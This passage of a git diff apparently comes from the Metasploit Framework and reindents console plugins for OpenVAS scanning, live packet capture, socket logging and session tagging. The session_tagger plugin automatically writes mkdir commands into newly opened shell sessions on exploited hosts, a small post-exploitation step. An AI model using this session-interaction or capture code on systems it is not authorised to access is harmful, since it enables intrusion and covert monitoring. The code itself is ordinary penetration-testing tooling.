@ov.task_create(args[0], args[1], args[2], args[3]) - print_status(resp) - cmd_openvas_task_list - rescue OpenVASOMP::OMPError => e - print_error(e.to_s) - end - - else - print_status("Usage: openvas_task_create ") - end - end - - def cmd_openvas_task_delete(*args) - return unless openvas? - - if args?(args, 2) - - # User is required to confirm before deleting task. - if(args[1] != "ok") - print_error("Warning: Deleting a task will also delete all reports associated with the ") - print_error("task, please pass in 'ok' as an additional parameter to this command.") - return - end - - begin - resp = @ov.task_delete(args[0]) - print_status(resp) - cmd_openvas_task_list - rescue OpenVASOMP::OMPError => e - print_error(e.to_s) - end - else - print_status("Usage: openvas_task_delete ok") - print_error("This will delete the task and all associated reports.") - end - end - - def cmd_openvas_task_list(*args) - return unless openvas? - - begin - tbl = Rex::Ui::Text::Table.new( - 'Columns' => ["ID", "Name", "Comment", "Status", "Progress"]) - id = 0 - @ov.task_get_all().each do |task| - tbl << [ id, task["name"], task["comment"], task["status"], task["progress"] ] - id += 1 - end - print_good("OpenVAS list of tasks") - print_line - print_line tbl.to_s - print_line - rescue OpenVASOMP::OMPError => e - print_error(e.to_s) - end - end - - def cmd_openvas_task_start(*args) - return unless openvas? - - if args?(args) - begin - resp = @ov.task_start(args[0]) - print_status(resp) - rescue OpenVASOMP::OMPError => e - print_error(e.to_s) - end - else - print_status("Usage: openvas_task_start ") - end - end - - def cmd_openvas_task_stop(*args) - return unless openvas? - - if args?(args) - begin - resp = @ov.task_stop(args[0]) - print_status(resp) - rescue OpenVASOMP::OMPError => e - print_error(e.to_s) - end - else - print_status("Usage: openvas_task_stop ") - end - end - - def cmd_openvas_task_pause(*args) - return unless openvas? - - if args?(args) - begin - resp = @ov.task_pause(args[0]) - print_status(resp) - rescue OpenVASOMP::OMPError => e - print_error(e.to_s) - end - else - print_status("Usage: openvas_task_pause ") - end - end - - def cmd_openvas_task_resume(*args) - return unless openvas? - - if args?(args) - begin - resp = @ov.task_resume_paused(args[0]) - print_status(resp) - rescue OpenVASOMP::OMPError => e - print_error(e.to_s) - end - else - print_status("Usage: openvas_task_resume ") - end - end - - def cmd_openvas_task_resume_or_start(*args) - return unless openvas? - - if args?(args) - begin - resp = @ov.task_resume_or_start(args[0]) - print_status(resp) - rescue OpenVASOMP::OMPError => e - print_error(e.to_s) - end - else - print_status("Usage: openvas_task_resume_or_start ") - end - end - - #-------------------------- - # Config Functions - #-------------------------- - def cmd_openvas_config_list(*args) - return unless openvas? - - begin - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ "ID", "Name" ]) - - id = 0 - @ov.configs.each do |config| - tbl << [ id, config["name"] ] - id += 1 - end - print_good("OpenVAS list of configs") - print_line - print_line tbl.to_s - print_line - rescue OpenVASOMP::OMPError => e - print_error(e.to_s) - end - end - - #-------------------------- - # Format Functions - #-------------------------- - def cmd_openvas_format_list(*args) - return unless openvas? - - begin - tbl = Rex::Ui::Text::Table.new( - 'Columns' => ["ID", "Name", "Extension", "Summary"]) - id = 0 - @ov.formats.each do |format| - tbl << [ id, format["name"], format["extension"], format["summary"] ] - id += 1 - end - print_good("OpenVAS list of report formats") - print_line - print_line tbl.to_s - print_line - rescue OpenVASOMP::OMPError => e - print_error(e.to_s) - end - end - - #-------------------------- - # Report Functions - #-------------------------- - def cmd_openvas_report_list(*args) - return unless openvas? - - begin - tbl = Rex::Ui::Text::Table.new( - 'Columns' => ["ID", "Task Name", "Start Time", "Stop Time"]) - id = 0 - @ov.report_get_all().each do |report| - tbl << [ id, report["task"], report["start_time"], report["stop_time"] ] - id += 1 - end - print_good("OpenVAS list of reports") - print_line - print_line tbl.to_s - print_line - rescue OpenVASOMP::OMPError => e - print_error(e.to_s) - end - end - - def cmd_openvas_report_delete(*args) - return unless openvas? - - if args?(args) - begin - resp = @ov.report_delete(args[0]) - print_status(resp) - cmd_openvas_report_list - rescue OpenVASOMP::OMPError => e - print_error(e.to_s) - end - else - print_status("Usage: openvas_report_delete ") - end - end - - def cmd_openvas_report_download(*args) - return unless openvas? - - if args?(args, 4) - begin - report = @ov.report_get_by_id(args[0], args[1]) - ::FileUtils.mkdir_p(args[2]) - name = ::File.join(args[2], args[3]) - print_status("Saving report to #{name}") - output = ::File.new(name, "w") - output.puts(report) - output.close - rescue OpenVASOMP::OMPError => e - print_error(e.to_s) - end - else - print_status("Usage: openvas_report_download ") - end - end - - def cmd_openvas_report_import(*args) - return unless openvas? - - if args?(args, 2) - begin - report = @ov.report_get_by_id(args[0], args[1]) - print_status("Importing report to database.") - framework.db.import({:data => report}) - rescue OpenVASOMP::OMPError => e - print_error(e.to_s) - end - else - print_status("Usage: openvas_report_import ") - print_status("Only the NBE and XML formats are supported for importing.") - end - end - - end # End OpenVAS class + class OpenVASCommandDispatcher + include Msf::Ui::Console::CommandDispatcher + + def name + "OpenVAS" + end + + def commands + { + 'openvas_help' => "Displays help", + 'openvas_version' => "Display the version of the OpenVAS server", + 'openvas_debug' => "Enable/Disable debugging", + 'openvas_connect' => "Connect to an OpenVAS manager using OMP", + 'openvas_disconnect' => "Disconnect from OpenVAS manager", + + 'openvas_task_create' => "Create a task (name, comment, target, config)", + 'openvas_task_delete' => "Delete task by ID", + 'openvas_task_list' => "Display list of tasks", + 'openvas_task_start' => "Start task by ID", + 'openvas_task_stop' => "Stop task by ID", + 'openvas_task_pause' => "Pause task by ID", + 'openvas_task_resume' => "Resume task by ID", + 'openvas_task_resume_or_start' => "Resume task or start task by ID", + + 'openvas_target_create' => "Create target (name, hosts, comment)", + 'openvas_target_delete' => "Delete target by ID", + 'openvas_target_list' => "Display list of targets", + + 'openvas_config_list' => "Quickly display list of configs", + + 'openvas_format_list' => "Display list of available report formats", + + 'openvas_report_list' => "Display a list of available report formats", + 'openvas_report_delete' => "Delete a report specified by ID", + 'openvas_report_download' => "Save a report to disk", + 'openvas_report_import' => "Import report specified by ID into framework", + } + end + + def cmd_openvas_help() + print_status("openvas_help Display this help") + print_status("openvas_debug Enable/Disable debugging") + print_status("openvas_version Display the version of the OpenVAS server") + print_status + print_status("CONNECTION") + print_status("==========") + print_status("openvas_connect Connects to OpenVAS") + print_status("openvas_disconnect Disconnects from OpenVAS") + print_status + print_status("TARGETS") + print_status("=======") + print_status("openvas_target_create Create target") + print_status("openvas_target_delete Deletes target specified by ID") + print_status("openvas_target_list Lists targets") + print_status + print_status("TASKS") + print_status("=====") + print_status("openvas_task_create Create task") + print_status("openvas_task_delete Delete a task and all associated reports") + print_status("openvas_task_list Lists tasks") + print_status("openvas_task_start Starts task specified by ID") + print_status("openvas_task_stop Stops task specified by ID") + print_status("openvas_task_pause Pauses task specified by ID") + print_status("openvas_task_resume Resumes task specified by ID") + print_status("openvas_task_resume_or_start Resumes or starts task specified by ID") + print_status + print_status("CONFIGS") + print_status("=======") + print_status("openvas_config_list Lists scan configurations") + print_status + print_status("FORMATS") + print_status("=======") + print_status("openvas_format_list Lists available report formats") + print_status + print_status("REPORTS") + print_status("=======") + print_status("openvas_report_list Lists available reports") + print_status("openvas_report_delete Delete a report specified by ID") + print_status("openvas_report_import Imports an OpenVAS report specified by ID") + print_status("openvas_report_download Downloads an OpenVAS report specified by ID") + end + + # Verify the database is connected and usable + def database? + if !(framework.db and framework.db.usable) + return false + else + return true + end + end + + # Verify there is an active OpenVAS connection + def openvas? + if @ov + return true + else + print_error("No OpenVAS connection available. Please use openvas_connect.") + return false + end + end + + # Verify correct number of arguments and verify -h was not given. Return + # true if correct number of arguments and help was not requested. + def args?(args, min=1, max=nil) + if not max then max = min end + if (args.length < min or args.length > max or args[0] == "-h") + return false + end + + return true + end + + #-------------------------- + # Basic Functions + #-------------------------- + def cmd_openvas_debug(*args) + return unless openvas? + + if args?(args) + begin + resp = @ov.debug(args[0].to_i) + print_good(resp) + rescue OpenVASOMP::OMPError => e + print_error(e.to_s) + end + else + print_status("Usage:") + print_status("openvas_debug integer") + end + end + + def cmd_openvas_version() + return unless openvas? + + begin + ver = @ov.get_version + print_good("Using OMP version #{ver}") + rescue OpenVASOMP::OMPError => e + print_error(e.to_s) + end + end + + + #-------------------------- + # Connection Functions + #-------------------------- + def cmd_openvas_connect(*args) + # Is the database configured? + if not database? + print_error("No database has been configured.") + return + end + + # Don't allow duplicate sessions + if @ov then + print_error("Session already open, please use openvas_disconnect first.") + return + end + + # Make sure the correct number of arguments are present. + if args?(args, 4, 5) + + user, pass, host, port, sslv = args + + # SSL warning. User is required to confirm. + if(host != "localhost" and host != "127.0.0.1" and sslv != "ok") + print_error("Warning: SSL connections are not verified in this release, it is possible for an attacker") + print_error(" with the ability to man-in-the-middle the OpenVAS traffic to capture the OpenVAS") + print_error(" credentials. If you are running this on a trusted network, please pass in 'ok'") + print_error(" as an additional parameter to this command.") + return + end + + begin + print_status("Connecting to OpenVAS instance at #{host}:#{port} with username #{user}...") + ov = OpenVASOMP::OpenVASOMP.new(user, pass, host, port) + rescue OpenVASOMP::OMPAuthError => e + print_error("Authentication failed: #{e.reason}") + return + rescue OpenVASOMP::OMPConnectionError => e + print_error("Connection failed: #{e.reason}") + return + end + print_good("OpenVAS connection successful") + @ov = ov + + else + print_status("Usage:") + print_status("openvas_connect username password host port ") + end + end + + # Disconnect from an OpenVAS manager + def cmd_openvas_disconnect() + return unless openvas? + @ov.logout + @ov = nil + end + + + #-------------------------- + # Target Functions + #-------------------------- + def cmd_openvas_target_create(*args) + return unless openvas? + + if args?(args, 3) + begin + resp = @ov.target_create(args[0], args[1], args[2]) + print_status(resp) + cmd_openvas_target_list + rescue OpenVASOMP::OMPError => e + print_error(e.to_s) + end + + else + print_status("Usage: openvas_target_create ") + end + end + + def cmd_openvas_target_delete(*args) + return unless openvas? + + if args?(args) + begin + resp = @ov.target_delete(args[0]) + print_status(resp) + cmd_openvas_target_list + rescue OpenVASOMP::OMPError => e + print_error(e.to_s) + end + else + print_status("Usage: openvas_target_delete ") + end + end + + def cmd_openvas_target_list(*args) + return unless openvas? + + begin + tbl = Rex::Ui::Text::Table.new( + 'Columns' => ["ID", "Name", "Hosts", "Max Hosts", "In Use", "Comment"]) + id = 0 + @ov.target_get_all().each do |target| + tbl << [ id, target["name"], target["hosts"], target["max_hosts"], + target["in_use"], target["comment"] ] + id += 1 + end + print_good("OpenVAS list of targets") + print_line + print_line tbl.to_s + print_line + rescue OpenVASOMP::OMPError => e + print_error(e.to_s) + end + end + + #-------------------------- + # Task Functions + #-------------------------- + def cmd_openvas_task_create(*args) + return unless openvas? + + if args?(args, 4) + begin + resp = @ov.task_create(args[0], args[1], args[2], args[3]) + print_status(resp) + cmd_openvas_task_list + rescue OpenVASOMP::OMPError => e + print_error(e.to_s) + end + + else + print_status("Usage: openvas_task_create ") + end + end + + def cmd_openvas_task_delete(*args) + return unless openvas? + + if args?(args, 2) + + # User is required to confirm before deleting task. + if(args[1] != "ok") + print_error("Warning: Deleting a task will also delete all reports associated with the ") + print_error("task, please pass in 'ok' as an additional parameter to this command.") + return + end + + begin + resp = @ov.task_delete(args[0]) + print_status(resp) + cmd_openvas_task_list + rescue OpenVASOMP::OMPError => e + print_error(e.to_s) + end + else + print_status("Usage: openvas_task_delete ok") + print_error("This will delete the task and all associated reports.") + end + end + + def cmd_openvas_task_list(*args) + return unless openvas? + + begin + tbl = Rex::Ui::Text::Table.new( + 'Columns' => ["ID", "Name", "Comment", "Status", "Progress"]) + id = 0 + @ov.task_get_all().each do |task| + tbl << [ id, task["name"], task["comment"], task["status"], task["progress"] ] + id += 1 + end + print_good("OpenVAS list of tasks") + print_line + print_line tbl.to_s + print_line + rescue OpenVASOMP::OMPError => e + print_error(e.to_s) + end + end + + def cmd_openvas_task_start(*args) + return unless openvas? + + if args?(args) + begin + resp = @ov.task_start(args[0]) + print_status(resp) + rescue OpenVASOMP::OMPError => e + print_error(e.to_s) + end + else + print_status("Usage: openvas_task_start ") + end + end + + def cmd_openvas_task_stop(*args) + return unless openvas? + + if args?(args) + begin + resp = @ov.task_stop(args[0]) + print_status(resp) + rescue OpenVASOMP::OMPError => e + print_error(e.to_s) + end + else + print_status("Usage: openvas_task_stop ") + end + end + + def cmd_openvas_task_pause(*args) + return unless openvas? + + if args?(args) + begin + resp = @ov.task_pause(args[0]) + print_status(resp) + rescue OpenVASOMP::OMPError => e + print_error(e.to_s) + end + else + print_status("Usage: openvas_task_pause ") + end + end + + def cmd_openvas_task_resume(*args) + return unless openvas? + + if args?(args) + begin + resp = @ov.task_resume_paused(args[0]) + print_status(resp) + rescue OpenVASOMP::OMPError => e + print_error(e.to_s) + end + else + print_status("Usage: openvas_task_resume ") + end + end + + def cmd_openvas_task_resume_or_start(*args) + return unless openvas? + + if args?(args) + begin + resp = @ov.task_resume_or_start(args[0]) + print_status(resp) + rescue OpenVASOMP::OMPError => e + print_error(e.to_s) + end + else + print_status("Usage: openvas_task_resume_or_start ") + end + end + + #-------------------------- + # Config Functions + #-------------------------- + def cmd_openvas_config_list(*args) + return unless openvas? + + begin + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ "ID", "Name" ]) + + id = 0 + @ov.configs.each do |config| + tbl << [ id, config["name"] ] + id += 1 + end + print_good("OpenVAS list of configs") + print_line + print_line tbl.to_s + print_line + rescue OpenVASOMP::OMPError => e + print_error(e.to_s) + end + end + + #-------------------------- + # Format Functions + #-------------------------- + def cmd_openvas_format_list(*args) + return unless openvas? + + begin + tbl = Rex::Ui::Text::Table.new( + 'Columns' => ["ID", "Name", "Extension", "Summary"]) + id = 0 + @ov.formats.each do |format| + tbl << [ id, format["name"], format["extension"], format["summary"] ] + id += 1 + end + print_good("OpenVAS list of report formats") + print_line + print_line tbl.to_s + print_line + rescue OpenVASOMP::OMPError => e + print_error(e.to_s) + end + end + + #-------------------------- + # Report Functions + #-------------------------- + def cmd_openvas_report_list(*args) + return unless openvas? + + begin + tbl = Rex::Ui::Text::Table.new( + 'Columns' => ["ID", "Task Name", "Start Time", "Stop Time"]) + id = 0 + @ov.report_get_all().each do |report| + tbl << [ id, report["task"], report["start_time"], report["stop_time"] ] + id += 1 + end + print_good("OpenVAS list of reports") + print_line + print_line tbl.to_s + print_line + rescue OpenVASOMP::OMPError => e + print_error(e.to_s) + end + end + + def cmd_openvas_report_delete(*args) + return unless openvas? + + if args?(args) + begin + resp = @ov.report_delete(args[0]) + print_status(resp) + cmd_openvas_report_list + rescue OpenVASOMP::OMPError => e + print_error(e.to_s) + end + else + print_status("Usage: openvas_report_delete ") + end + end + + def cmd_openvas_report_download(*args) + return unless openvas? + + if args?(args, 4) + begin + report = @ov.report_get_by_id(args[0], args[1]) + ::FileUtils.mkdir_p(args[2]) + name = ::File.join(args[2], args[3]) + print_status("Saving report to #{name}") + output = ::File.new(name, "w") + output.puts(report) + output.close + rescue OpenVASOMP::OMPError => e + print_error(e.to_s) + end + else + print_status("Usage: openvas_report_download ") + end + end + + def cmd_openvas_report_import(*args) + return unless openvas? + + if args?(args, 2) + begin + report = @ov.report_get_by_id(args[0], args[1]) + print_status("Importing report to database.") + framework.db.import({:data => report}) + rescue OpenVASOMP::OMPError => e + print_error(e.to_s) + end + else + print_status("Usage: openvas_report_import ") + print_status("Only the NBE and XML formats are supported for importing.") + end + end + + end # End OpenVAS class #------------------------------ # Plugin initialization #------------------------------ - def initialize(framework, opts) - super - add_console_dispatcher(OpenVASCommandDispatcher) - print_status("Welcome to OpenVAS integration by kost and averagesecurityguy.") - print_status - print_status("OpenVAS integration requires a database connection. Once the ") - print_status("database is ready, connect to the OpenVAS server using openvas_connect.") - print_status("For additional commands use openvas_help.") - print_status - @ov = nil - @formats = nil - end - - def cleanup - remove_console_dispatcher('OpenVAS') - end - - def name - "OpenVAS" - end - - def desc - "Integrates with the OpenVAS - open source vulnerability management" - end + def initialize(framework, opts) + super + add_console_dispatcher(OpenVASCommandDispatcher) + print_status("Welcome to OpenVAS integration by kost and averagesecurityguy.") + print_status + print_status("OpenVAS integration requires a database connection. Once the ") + print_status("database is ready, connect to the OpenVAS server using openvas_connect.") + print_status("For additional commands use openvas_help.") + print_status + @ov = nil + @formats = nil + end + + def cleanup + remove_console_dispatcher('OpenVAS') + end + + def name + "OpenVAS" + end + + def desc + "Integrates with the OpenVAS - open source vulnerability management" + end end end diff --git a/plugins/pcap_log.rb b/plugins/pcap_log.rb index aecd5c0b1a68..d95aa8abf91e 100644 --- a/plugins/pcap_log.rb +++ b/plugins/pcap_log.rb @@ -15,188 +15,188 @@ module Msf class Plugin::PcapLog < Msf::Plugin - # Only little-endian is supported in this implementation. - PCAP_FILE_HEADER = "\xD4\xC3\xB2\xA1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00`\x00\x00\x00\x01\x00\x00\x00" - - # - # Implements a pcap console command dispatcher. - # - class PcapLogDispatcher - - include Msf::Ui::Console::CommandDispatcher - - def name - "PcapLog" - end - - def commands - { - "pcap_filter" => "Set/Get a BPF-style packet filter", - "pcap_dir" => "Set/Get a directory to log pcaps to", - "pcap_prefix" => "Set/Get a filename prefix to log pcaps to", - "pcap_iface" => "Set/Get an interface to capture from", - "pcap_start" => "Start a capture", - "pcap_stop" => "Stop a running capture", - - "pcap_show_config" => "Show the current PcapLog configuration" - } - end - - def cmd_pcap_filter(*args) - @filter = args.join(' ') || @filter - print_line "#{self.name} BPF filter: #{@filter}" - end - - def cmd_pcap_prefix(*args) - @prefix = args[0] || @prefix || "msf3-session" - print_line "#{self.name} prefix: #{@prefix}" - end - - def cmd_pcap_dir(*args) - @dir = args[0] || @dir || "/tmp" - print_line "#{self.name} Directory: #{@dir}" - end - - def cmd_pcap_iface(*args) - @iface = args[0] || @iface - print_line "#{self.name} Interface: #{@iface}" - end - - def cmd_pcap_start(*args) - - unless @pcaprub_loaded - print_error("Pcap module not available") - return false - end - - if @capture_thread && @capture_thread.alive? - print_error "Capture already started." - return false - end - - gen_fname - print_line "Starting packet capture from #{@iface} to #{@fname}" - okay,msg = validate_options - unless okay - print_error msg - return false - end - dev = (@iface || ::Pcap.lookupdev) - @capture_file.write(PCAP_FILE_HEADER) - @capture_file.flush - @pcap = ::Pcap.open_live(dev, 65535, true, 1) - @pcap.setfilter(@filter) if @filter - @capture_thread = Thread.new { - @pcap.each do |pkt| - @capture_file.write(convert_to_pcap(pkt)) - @capture_file.flush - end - } - end - - def cmd_pcap_stop(*args) - if @capture_thread && @capture_thread.alive? - print_line "Stopping packet capture from #{@iface} to #{@fname}" - print_line "Capture Stats: #{@pcap.stats.inspect}" - @pcap = nil - @capture_file.close if @capture_file.respond_to? :close - @capture_thread.kill - @capture_thread = nil - else - print_error "No capture running." - end - end - - def convert_to_pcap(packet) - t = Time.now - sz = packet.size - [t.to_i, t.usec, sz, sz, packet].pack("V4A*") - end - - def gen_fname - t = Time.now - file_part = "%s_%04d-%02d-%02d_%02d-%02d-%02d.pcap" % [ - @prefix, t.year, t.month, t.mday, t.hour, t.min, t.sec - ] - @fname = File.join(@dir, file_part) - end - - # Check for euid 0 and check for a valid place to write files - def validate_options - - # Check for root. - unless Process.euid.zero? - msg = "You must run as root in order to capture packets." - return [false, msg] - end - - # Check directory suitability. - unless File.directory? @dir - msg = "Invalid pcap directory specified: '#{@dir}'" - return [false, msg] - end - - unless File.writable? @dir - msg = "No write permission to directory: '#{@dir}'" - return [false, msg] - end - - @capture_file = File.open(@fname, "ab") - unless File.writable? @fname - msg = "Cannot write to file: '#{@fname}'" - return [false, msg] - end - - # If you got this far, you're golden. - msg = "We're good!" - return [true, msg] - end - - # Need to pretend to have a datastore for Exploit::Capture to - # function. - def datastore - {} - end - - def initialize(*args) - super - @dir = File.join(Msf::Config.config_directory, 'logs') - @prefix = "msf3-session" - @filter = nil - @pcaprub_loaded = false - begin - require 'pcaprub' - @pcaprub_loaded = true - @iface = ::Pcap.lookupdev - rescue ::Exception => e - print_error "#{e.class}: #{e}" - @pcaprub_loaded = false - @pcaprub_error = e - end - end - - end - - def initialize(framework, opts) - super - add_console_dispatcher(PcapLogDispatcher) - print_status "PcapLog plugin loaded." - end - - # Kill the background thread - def cleanup - @capture_thread.kill if @capture_thread && @capture_thread.alive? - @capture_file.close if @capture_file.respond_to? :close - remove_console_dispatcher('PcapLog') - end - - def name - "pcap_log" - end - - def desc - "Logs all socket operations to pcaps (in /tmp by default)" - end + # Only little-endian is supported in this implementation. + PCAP_FILE_HEADER = "\xD4\xC3\xB2\xA1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00`\x00\x00\x00\x01\x00\x00\x00" + + # + # Implements a pcap console command dispatcher. + # + class PcapLogDispatcher + + include Msf::Ui::Console::CommandDispatcher + + def name + "PcapLog" + end + + def commands + { + "pcap_filter" => "Set/Get a BPF-style packet filter", + "pcap_dir" => "Set/Get a directory to log pcaps to", + "pcap_prefix" => "Set/Get a filename prefix to log pcaps to", + "pcap_iface" => "Set/Get an interface to capture from", + "pcap_start" => "Start a capture", + "pcap_stop" => "Stop a running capture", + + "pcap_show_config" => "Show the current PcapLog configuration" + } + end + + def cmd_pcap_filter(*args) + @filter = args.join(' ') || @filter + print_line "#{self.name} BPF filter: #{@filter}" + end + + def cmd_pcap_prefix(*args) + @prefix = args[0] || @prefix || "msf3-session" + print_line "#{self.name} prefix: #{@prefix}" + end + + def cmd_pcap_dir(*args) + @dir = args[0] || @dir || "/tmp" + print_line "#{self.name} Directory: #{@dir}" + end + + def cmd_pcap_iface(*args) + @iface = args[0] || @iface + print_line "#{self.name} Interface: #{@iface}" + end + + def cmd_pcap_start(*args) + + unless @pcaprub_loaded + print_error("Pcap module not available") + return false + end + + if @capture_thread && @capture_thread.alive? + print_error "Capture already started." + return false + end + + gen_fname + print_line "Starting packet capture from #{@iface} to #{@fname}" + okay,msg = validate_options + unless okay + print_error msg + return false + end + dev = (@iface || ::Pcap.lookupdev) + @capture_file.write(PCAP_FILE_HEADER) + @capture_file.flush + @pcap = ::Pcap.open_live(dev, 65535, true, 1) + @pcap.setfilter(@filter) if @filter + @capture_thread = Thread.new { + @pcap.each do |pkt| + @capture_file.write(convert_to_pcap(pkt)) + @capture_file.flush + end + } + end + + def cmd_pcap_stop(*args) + if @capture_thread && @capture_thread.alive? + print_line "Stopping packet capture from #{@iface} to #{@fname}" + print_line "Capture Stats: #{@pcap.stats.inspect}" + @pcap = nil + @capture_file.close if @capture_file.respond_to? :close + @capture_thread.kill + @capture_thread = nil + else + print_error "No capture running." + end + end + + def convert_to_pcap(packet) + t = Time.now + sz = packet.size + [t.to_i, t.usec, sz, sz, packet].pack("V4A*") + end + + def gen_fname + t = Time.now + file_part = "%s_%04d-%02d-%02d_%02d-%02d-%02d.pcap" % [ + @prefix, t.year, t.month, t.mday, t.hour, t.min, t.sec + ] + @fname = File.join(@dir, file_part) + end + + # Check for euid 0 and check for a valid place to write files + def validate_options + + # Check for root. + unless Process.euid.zero? + msg = "You must run as root in order to capture packets." + return [false, msg] + end + + # Check directory suitability. + unless File.directory? @dir + msg = "Invalid pcap directory specified: '#{@dir}'" + return [false, msg] + end + + unless File.writable? @dir + msg = "No write permission to directory: '#{@dir}'" + return [false, msg] + end + + @capture_file = File.open(@fname, "ab") + unless File.writable? @fname + msg = "Cannot write to file: '#{@fname}'" + return [false, msg] + end + + # If you got this far, you're golden. + msg = "We're good!" + return [true, msg] + end + + # Need to pretend to have a datastore for Exploit::Capture to + # function. + def datastore + {} + end + + def initialize(*args) + super + @dir = File.join(Msf::Config.config_directory, 'logs') + @prefix = "msf3-session" + @filter = nil + @pcaprub_loaded = false + begin + require 'pcaprub' + @pcaprub_loaded = true + @iface = ::Pcap.lookupdev + rescue ::Exception => e + print_error "#{e.class}: #{e}" + @pcaprub_loaded = false + @pcaprub_error = e + end + end + + end + + def initialize(framework, opts) + super + add_console_dispatcher(PcapLogDispatcher) + print_status "PcapLog plugin loaded." + end + + # Kill the background thread + def cleanup + @capture_thread.kill if @capture_thread && @capture_thread.alive? + @capture_file.close if @capture_file.respond_to? :close + remove_console_dispatcher('PcapLog') + end + + def name + "pcap_log" + end + + def desc + "Logs all socket operations to pcaps (in /tmp by default)" + end end end diff --git a/plugins/sample.rb b/plugins/sample.rb index d5121d2a675d..7627c658440a 100644 --- a/plugins/sample.rb +++ b/plugins/sample.rb @@ -15,81 +15,81 @@ module Msf ### class Plugin::Sample < Msf::Plugin - ### - # - # This class implements a sample console command dispatcher. - # - ### - class ConsoleCommandDispatcher - include Msf::Ui::Console::CommandDispatcher + ### + # + # This class implements a sample console command dispatcher. + # + ### + class ConsoleCommandDispatcher + include Msf::Ui::Console::CommandDispatcher - # - # The dispatcher's name. - # - def name - "Sample" - end + # + # The dispatcher's name. + # + def name + "Sample" + end - # - # Returns the hash of commands supported by this dispatcher. - # - def commands - { - "sample" => "A sample command added by the sample plugin" - } - end + # + # Returns the hash of commands supported by this dispatcher. + # + def commands + { + "sample" => "A sample command added by the sample plugin" + } + end - # - # This method handles the sample command. - # - def cmd_sample(*args) - print_line("You passed: #{args.join(' ')}") - end - end + # + # This method handles the sample command. + # + def cmd_sample(*args) + print_line("You passed: #{args.join(' ')}") + end + end - # - # The constructor is called when an instance of the plugin is created. The - # framework instance that the plugin is being associated with is passed in - # the framework parameter. Plugins should call the parent constructor when - # inheriting from Msf::Plugin to ensure that the framework attribute on - # their instance gets set. - # - def initialize(framework, opts) - super + # + # The constructor is called when an instance of the plugin is created. The + # framework instance that the plugin is being associated with is passed in + # the framework parameter. Plugins should call the parent constructor when + # inheriting from Msf::Plugin to ensure that the framework attribute on + # their instance gets set. + # + def initialize(framework, opts) + super - # If this plugin is being loaded in the context of a console application - # that uses the framework's console user interface driver, register - # console dispatcher commands. - add_console_dispatcher(ConsoleCommandDispatcher) + # If this plugin is being loaded in the context of a console application + # that uses the framework's console user interface driver, register + # console dispatcher commands. + add_console_dispatcher(ConsoleCommandDispatcher) - print_status("Sample plugin loaded.") - end + print_status("Sample plugin loaded.") + end - # - # The cleanup routine for plugins gives them a chance to undo any actions - # they may have done to the framework. For instance, if a console - # dispatcher was added, then it should be removed in the cleanup routine. - # - def cleanup - # If we had previously registered a console dispatcher with the console, - # deregister it now. - remove_console_dispatcher('Sample') - end + # + # The cleanup routine for plugins gives them a chance to undo any actions + # they may have done to the framework. For instance, if a console + # dispatcher was added, then it should be removed in the cleanup routine. + # + def cleanup + # If we had previously registered a console dispatcher with the console, + # deregister it now. + remove_console_dispatcher('Sample') + end - # - # This method returns a short, friendly name for the plugin. - # - def name - "sample" - end + # + # This method returns a short, friendly name for the plugin. + # + def name + "sample" + end - # - # This method returns a brief description of the plugin. It should be no - # more than 60 characters, but there are no hard limits. - # - def desc - "Demonstrates using framework plugins" - end + # + # This method returns a brief description of the plugin. It should be no + # more than 60 characters, but there are no hard limits. + # + def desc + "Demonstrates using framework plugins" + end protected end diff --git a/plugins/session_tagger.rb b/plugins/session_tagger.rb index 66d93ec6fabb..92a40162b960 100644 --- a/plugins/session_tagger.rb +++ b/plugins/session_tagger.rb @@ -15,43 +15,43 @@ module Msf class Plugin::SessionTagger < Msf::Plugin - include Msf::SessionEvent + include Msf::SessionEvent - def on_session_open(session) - print_status("Hooked session #{session.sid} / #{session.session_host}") + def on_session_open(session) + print_status("Hooked session #{session.sid} / #{session.session_host}") - # XXX: Determine what type of session this is before writing to it + # XXX: Determine what type of session this is before writing to it - if (session.interactive?) - session.shell_write("MKDIR C:\\TaggedBy#{ENV['USER']}\n") - session.shell_write("mkdir /tmp/TaggedBy#{ENV['USER']}\n") - end + if (session.interactive?) + session.shell_write("MKDIR C:\\TaggedBy#{ENV['USER']}\n") + session.shell_write("mkdir /tmp/TaggedBy#{ENV['USER']}\n") + end - # - # Read output with session.shell_read() - # - end + # + # Read output with session.shell_read() + # + end - def on_session_close(session,reason='') - print_status("Hooked session #{session.sid} is shutting down") - end + def on_session_close(session,reason='') + print_status("Hooked session #{session.sid} is shutting down") + end - def initialize(framework, opts) - super - self.framework.events.add_session_subscriber(self) - end + def initialize(framework, opts) + super + self.framework.events.add_session_subscriber(self) + end - def cleanup - self.framework.events.remove_session_subscriber(self) - end + def cleanup + self.framework.events.remove_session_subscriber(self) + end - def name - "session_tagger" - end + def name + "session_tagger" + end - def desc - "Automatically interacts with new sessions" - end + def desc + "Automatically interacts with new sessions" + end end end diff --git a/plugins/socket_logger.rb b/plugins/socket_logger.rb index 277aae5b2e6b..3666f334eedd 100644 --- a/plugins/socket_logger.rb +++ b/plugins/socket_logger.rb @@ -13,55 +13,55 @@ module Msf class Plugin::SocketLogger < Msf::Plugin - ### - # - # This class implements a socket communication logger - # - ### - class MySocketEventHandler - include Rex::Socket::Comm::Events - - def initialize(path, prefix) - @path = path - @prefix = prefix - end - - def on_before_socket_create(comm, param) - end - - def on_socket_created(comm, sock, param) - # Sockets created by the exploit have MsfExploit set and MsfPayload not set - if (param.context['MsfExploit'] and (! param.context['MsfPayload'] )) - sock.extend(SocketLogger::SocketTracer) - sock.context = param.context - sock.params = param - sock.initlog(@path, @prefix) - - end - end - end - - - def initialize(framework, opts) - log_path = opts['path'] || "/tmp" - log_prefix = opts['prefix'] || "socket_" - - super - @eh = MySocketEventHandler.new(log_path, log_prefix) - Rex::Socket::Comm::Local.register_event_handler(@eh) - end - - def cleanup - Rex::Socket::Comm::Local.deregister_event_handler(@eh) - end - - def name - "socket_logger" - end - - def desc - "Logs all socket operations to hex dumps in /tmp" - end + ### + # + # This class implements a socket communication logger + # + ### + class MySocketEventHandler + include Rex::Socket::Comm::Events + + def initialize(path, prefix) + @path = path + @prefix = prefix + end + + def on_before_socket_create(comm, param) + end + + def on_socket_created(comm, sock, param) + # Sockets created by the exploit have MsfExploit set and MsfPayload not set + if (param.context['MsfExploit'] and (! param.context['MsfPayload'] )) + sock.extend(SocketLogger::SocketTracer) + sock.context = param.context + sock.params = param + 